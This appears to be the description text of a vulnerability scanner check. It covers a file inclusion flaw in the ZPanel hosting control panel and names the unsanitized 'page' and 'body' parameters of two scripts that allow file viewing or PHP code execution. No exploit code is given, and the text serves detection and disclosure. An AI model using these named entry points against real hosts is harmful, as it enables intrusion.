"The remote host is running ZPanel, an open source hosting control
panel written in PHP.

The installation of ZPanel on the remote host fails to sanitize user-
supplied input to the 'page' and 'body' parameters of the 'zpanel.php'
and 'templates/ZPanelV2/template.php' scripts respectively before
using it to include PHP code.  An unauthenticated attacker can exploit
this issue to view arbitrary files or to execute arbitrary PHP code on
the remote host, subject to the privileges of the web server user id. 

Note that exploitation of this issue via 'zpanel.php' does not require
that PHP's 'register_globals' setting be enabled.");
